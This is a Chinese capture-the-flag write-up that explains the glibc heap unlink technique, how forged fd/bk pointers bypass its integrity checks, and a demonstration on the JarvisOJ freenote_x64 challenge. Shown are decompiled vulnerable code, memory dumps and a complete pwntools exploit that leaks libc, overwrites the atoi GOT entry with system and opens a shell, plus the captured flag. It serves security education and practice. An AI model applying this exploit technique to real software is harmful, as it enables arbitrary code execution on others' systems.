堆unlink利用

钞sir

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简介
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unlink是在smallbin被释放的时候的一种操作，是将当前物理内存相邻的free chunk进行合并,简单的讲就是我们在free一个smallchunk的时候，如果它前面或者后面的chunk有空闲的，即in_use位为0时，就将前面或后面的chunk连在一起合成一个chunk;
smallbin的数据结构：prev_size,size,fd,bk;
因为smallbin被释放后是用双链串在一起的，这就使目前unlink操作时，有一定的检查机制，主要检查我们的双链是否是合法的；
主要检查fd,bk等指针：

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  

在双向链表中，所以有两个地方记录chunk的大小，所以检查一下其大小是否一致：

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) 
      malloc_printerr ("corrupted size vs. prev_size"); 

unlink操作的简要代码：

#define unlink(P, BK, FD)
{
    FD = P->fd;
    BK = P->bk;
    if(FD->bk != P || BK->fd !=p)
    {
        malloc_printerr (check_action, "corrupted d...", P);
    }
    else
    {
        FD->bk = BK;
        BK->fd = FD;
    }
}

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绕过方法
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实际上，我们还是有办法绕过unlink的检查，不过需要有一些条件：
1. 有一个指向heap内的指针；
2. 存放这个指针的地址已知(一般这个地址(&p)是全局变量)；
3. 可以对这个指针进行多次写入；
然后我们想办法修改p的fd和p的bk分别为:

//64位
p->fd = &p - 0x18; //fd
p->bk = &p - 0x10; //bk

//32位
p->fd = &p - 12; //fd
p->bk = &p - 8; //bk

这样我们就可以绕过(FD->bk != P || BK->fd !=p)检测了，当unlink的操作完了之后，我们得到：

//64位
p = &p - 0x18；

//32位
p = &p - 12;

# 演示
我们以JarvisOJ中的[freenote_x64](https://dn.jarvisoj.com/challeng ... c8402b9e3148f4f64a5)来具体演示一下绕过unlink的操作并且熟悉一下smallbin的结构；
这道题在add函数和edit函数中，真实malloc的size最小都是0x80，也就是我们申请的是smallbin,所以操作的也是samllbin；
主要漏洞在delete note里：

void __cdecl delete()
{
  int i; // [sp+Ch] [bp-4h]@2
  if ( chunk_list->number <= 0 )
  {
    puts("No posts yet.");
  }
  else
  {
    printf("Post number: ");
    i = get_num();
    if ( i >= 0 && i < chunk_list->sum )        // 未检查inuse位，double_free
    {
      --chunk_list->number;
      chunk_list->block[i].in_use = 0LL;
      chunk_list->block[i].len = 0LL;
      free(chunk_list->block[i].ptr);           // 指针未清空
      puts("Done.");
    }
    else
    {
      puts("Invalid number!");
    }
  }
}

还有一个有用的漏洞就是add和edit时，我们输入的字符串没有‘\x00’结尾符，我们输入多大的size就读多少size的字符，没有多余；
## 思路
所以基本思路就是我们先申请4个chunk，然后free(0)和free(2)，防止合并；然后在申请2个chunk，只写入8字节，就可以leak出heap和libc的基地址;

00000000  30 2e 20 71  71 71 71 71  71 71 71 40  c9 6c 0a 31  │0. q│qqqq│qqq@│·l·1│
00000010  2e 20 62 62  62 62 62 62  62 62 0a 32  2e 20 73 73  │. bb│bbbb│bb·2│. ss│
00000020  73 73 73 73  73 73 b8 07  d4 1c 39 7f  0a 33 2e 20  │ssss│ss··│··9·│·3. │
00000030  64 64 64 64  64 64 64 64  0a 3d 3d 20  30 6f 70 73  │dddd│dddd│·== │0ops│
00000040  20 46 72 65  65 20 4e 6f  74 65 20 3d  3d 0a 31 2e  │ Fre│e No│te =│=·1.│
00000050  20 4c 69 73  74 20 4e 6f  74 65 0a 32  2e 20 4e 65  │ Lis│t No│te·2│. Ne│
00000060  77 20 4e 6f  74 65 0a 33  2e 20 45 64  69 74 20 4e  │w No│te·3│. Ed│it N│
00000070  6f 74 65 0a  34 2e 20 44  65 6c 65 74  65 20 4e 6f  │ote·│4. D│elet│e No│
00000080  74 65 0a 35  2e 20 45 78  69 74 0a 3d  3d 3d 3d 3d  │te·5│. Ex│it·=│====│
00000090  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 0a  │====│====│====│===·│
000000a0  59 6f 75 72  20 63 68 6f  69 63 65 3a  20           │Your│ cho│ice:│ │

s = p.recv()
lib_addr = u64(s[39:45] + '\x00\x00') - 0x3c27b8
heap_addr = u64(s[11:15] + '\x00'*4) - 0x1940 + 0x30
system_addr = lib_addr + libc.symbols['system']

在heap基地址偏移0x30的地方有我们需要的&p:

pwndbg> x/20gx 0x603000
0x603000:        0x0000000000000000         0x0000000000001821
0x603010:        0x0000000000000100         0x0000000000000004
0x603020:        0x0000000000000001         0x0000000000000004
0x603030:&p        0x0000000000604830 p 0x0000000000000001
0x603040:        0x0000000000000002         0x00000000006048c0
0x603050:        0x0000000000000001         0x0000000000000001
0x603060:        0x0000000000604950         0x0000000000000001
0x603070:        0x0000000000000004         0x00000000006049e0
0x603080:        0x0000000000000000         0x0000000000000000
0x603090:        0x0000000000000000         0x0000000000000000

有了&p之后我们就可以构造chunk，然后unlink了；
unlink之后的&p,此时p=&p-0x18:

pwndbg> x/20gx 0x603000
0x603000:        0x0000000000000000         0x0000000000001821
0x603010:        0x0000000000000100         0x0000000000000004
0x603020:        0x0000000000000000         0x0000000000000000
0x603030:        0x0000000000603018 p 0x0000000000000001 //p=&p-0x18
0x603040:        0x0000000000000008         0x00000000006048c0
0x603050:        0x0000000000000001         0x0000000000000001
0x603060:        0x0000000000604950         0x0000000000000001
0x603070:        0x0000000000000004         0x00000000006049e0
0x603080:        0x0000000000000000         0x0000000000000000
0x603090:        0x0000000000000000         0x0000000000000000

然后现在我们就可以修改0x0603018地址开始的内容了，然后就可以修改指针达到任意地址写入了；

## EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#p = process('./freenote')
p = remote('pwn2.jarvisoj.com', 9886)
elf= ELF('./freenote')
libc = ELF('./bc.so.6')

if args.G:
    gdb.attach(p)

def show():
    p.recvuntil('Your choice: ')
    p.sendline('1')

def add(s):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Length of new note: ')
    p.sendline(str(len(s)))
    p.recvuntil('Enter your note: ')
    p.send(s)

def edit(i,s):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Note number: ')
    p.sendline(str(i))
    p.recvuntil('Length of note: ')
    p.sendline(str(len(s)))
    p.recvuntil('Enter your note: ')
    p.send(s)

def delete(i):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Note number: ')
    p.sendline(str(i))

def exit():
    p.recvuntil('Your choice: ')
    p.sendline('5')

add('a'*8)
add('b'*8)
add('c'*8)
add('d'*8)

delete(0)
delete(2)

add('q'*8)
add('s'*8)
#leak
show()
s = p.recv()
lib_addr = u64(s[39:45] + '\x00\x00') - 0x3c27b8
heap_addr = u64(s[11:15] + '\x00'*4) - 0x1940 + 0x30
system_addr = lib_addr + libc.symbols['system']
print "lib_addr: " + hex(lib_addr)
print "heap_addr: " + hex(heap_addr)
print "system_addr: " + hex(system_addr)
#unlink
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline('1')
pay = p64(0x90) + p64(0x80) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'a'*0x60
pay+= p64(0x80) + p64(0x90+0x90) + 'b'*0x70
edit(0,pay)
delete(1)
#getshell
payload = p64(2) + p64(1) + p64(100) + p64(heap_addr - 0x18) + p64(1) + p64(0x8) + p64(elf.got['atoi']) 
payload+= '\x00'*(0x100-len(payload))
edit(0,payload)
edit(1,p64(system_addr))
p.sendline("$0")
p.interactive() 
#CTF{de7effd8864f018660e178b96b8b4ffc}

# 总结
1.关于这道的基本分析可以参考[安全客](https://www.anquanke.com/post/id/162882);
2.关于unlink的绕过关键就是找&p，然后构造chunk,从而绕过unlink;